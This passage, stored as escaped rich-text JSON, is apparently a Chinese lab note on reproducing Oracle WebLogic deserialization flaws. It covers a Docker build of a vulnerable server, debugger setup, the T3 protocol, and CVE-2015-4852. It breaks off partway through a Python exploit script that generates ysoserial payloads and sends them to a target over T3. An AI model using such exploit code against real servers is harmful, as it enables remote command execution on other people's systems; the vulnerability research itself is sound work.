Hq2i-1673491372911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6， Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7，Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wRTE-1673491443864&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f6Yo-1673491443862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Docker构建：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Tyv-1673491450914&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AWPP-1673491450913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PQ1J-1673491447976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3ESw-1673491451298&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3qUx-1673491451297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4l4-1673491451300&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Euem-1673491451299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PAGA-1673491265699&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gZ6T-1673491265697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由于Centos8已与2022年底停止维护，这里需要提前跟换yum源：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ioRW-1673491553354&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4909/WEBRESOURCE64df61f18e98bcb79d8b0f98f912edc4&#34;,&#34;width&#34;:605,&#34;height&#34;:355},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTa1-1673491588716&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q1JR-1673491588715&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WbdW-1673490309275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN cd /etc/yum.repos.d/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IxgD-1673491597937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iP1E-1673491597936&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN sed -i &#39;s/mirrorlist/#mirrorlist/g&#39; /etc/yum.repos.d/CentOS-*&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LVOL-1673491597939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8SD-1673491597938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN sed -i &#39;s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g&#39; /etc/yum.repos.d/CentOS-*&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;37YC-1673491584697&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qwok-1673491584696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;配置远程调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W4Lc-1673491696734&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JbMC-1673491696733&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jeO-1673491679517&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;kdir ./middleware&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZmXZ-1673491697201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gaX8-1673491697200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xvVt-1673491697205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RiTc-1673491697204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nmaL-1673491697209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W2O8-1673491697208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddTQ-1673491627410&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x5qG-1673491627409&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将docker中的主要lib目录拷贝出来，IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5M1C-1673491870518&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4922/WEBRESOURCEa5f120f434b304501a2efab26d14445a&#34;,&#34;width&#34;:1326,&#34;height&#34;:476},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rkdV-1673491584862&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rFG9-1673491584861&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时将/wlserver/server/lib目录作为lib导入：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DC8N-1673492159524&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4925/WEBRESOURCE609c5e20ad563040081ddacd597589e5&#34;,&#34;width&#34;:305,&#34;height&#34;:493},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t0ZA-1673491585004&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jhS-1673491585003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;配置remote调试端口即可：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rNCt-1673492232548&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4930/WEBRESOURCEbbd544eff03ee1fb001e1a5a7ce37939&#34;,&#34;width&#34;:572,&#34;height&#34;:392},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h9vO-1673491585167&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QRf5-1673491585166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;启动调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JyD4-1673493026569&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4935/WEBRESOURCEd47bdc412d359d420c99b49fc71e14bc&#34;,&#34;width&#34;:2808,&#34;height&#34;:1516},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wwoa-1673493052602&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4937/WEBRESOURCEda7147dbf613e3fd4381c0e4425f5c19&#34;,&#34;width&#34;:695,&#34;height&#34;:191},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OhB4-1673505623997&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZtnD-1673505623998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2NFu-1673493063764&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZDKD-1673493063762&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;T3协议：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ToWZ-1673493290157&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a5QT-1673493290156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic RMI是Weblogic对于Java RMI的实现，其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c4Ts-1673505380809&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fhpd-1673505380807&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;数据包中前四个字符描述数据包长度，而后为T3的协议头，同时每个标准反序列化头部aced0005前会新增一个fe010000字段：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DR8A-1673505381525&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4963/WEBRESOURCEe44aaacd6cc4d45e000151c0d2beac0f&#34;,&#34;width&#34;:2058,&#34;height&#34;:1616},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9eGc-1673493702659&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4952/WEBRESOURCEac5e2b49c529dd47e3d31d31627e229c&#34;,&#34;width&#34;:560,&#34;height&#34;:204},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ORod-1673493024074&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rhUQ-1673493024075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;更多内容参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tmgK-1673493762548&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ecUD-1673493762547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;WqpW-1673493762925&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tjjy-1673493762926&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;knIi-1673493762938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bBNc-1673493748254&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6cJn-1673493748252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l79f-1673493773767&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IAlj-1673493773766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2015-4852&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r5M5-1673851457133&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pZY7-1673851457134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJI3-1673851463438&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u6bg-1673851463437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RzLZ-1673851502693&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jzUQ-1673851502692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d2HC-1673851496206&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;suVy-1673851496205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vkSr-1673851496208&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PMGB-1673851496207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IKHp-1673851446141&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mrmo-1673851446139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kTy2-1673493798953&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0KZo-1673493798954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;找了一份&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;05Iv-1673503802099&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/u/38490&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QALS-1673503802101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;sp4z&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjr0-1673503802116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;师傅的脚本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nDt2-1673503811887&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KSCC-1673503811886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jjmu-1673503809293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from os import popen&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PeVu-1673503823677&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KJVv-1673503823676&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct # 负责大小端的转换&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mh9o-1673503823679&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Wz7-1673503823678&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y06G-1673503823681&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8jlr-1673503823680&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from sys import stdout&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DtyQ-1673503823683&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K5nP-1673503823682&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;24qh-1673503823685&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qk0X-1673503823684&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import re&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kHOY-1673503823687&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FVh-1673503823686&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;85R4-1673503823689&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fp9o-1673503823688&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2UKR-1673503823691&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dZ67-1673503823690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def generatePayload(gadget,cmd):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ylG4-1673503823693&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M2C4-1673503823692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    YSO_PATH = \&#34;/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MQYo-1673503823695&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cTS2-1673503823694&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    popen = subprocess.Popen([&#39;java&#39;,&#39;-jar&#39;,YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F4Pd-1673503823697&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pe42-1673503823696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return popen.stdout.read()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cb2g-1673503823699&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LkvM-1673503823698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v7pe-1673503823701&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTCr-1673503823700&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def T3Exploit(ip,port,payload):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4MiV-1673503823703&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m9S2-1673503823702&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gEiZ-1673503823706&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dKrZ-1673503823705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.connect((ip,port))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8v3P-1673503823708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CA7z-1673503823707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    handshake = 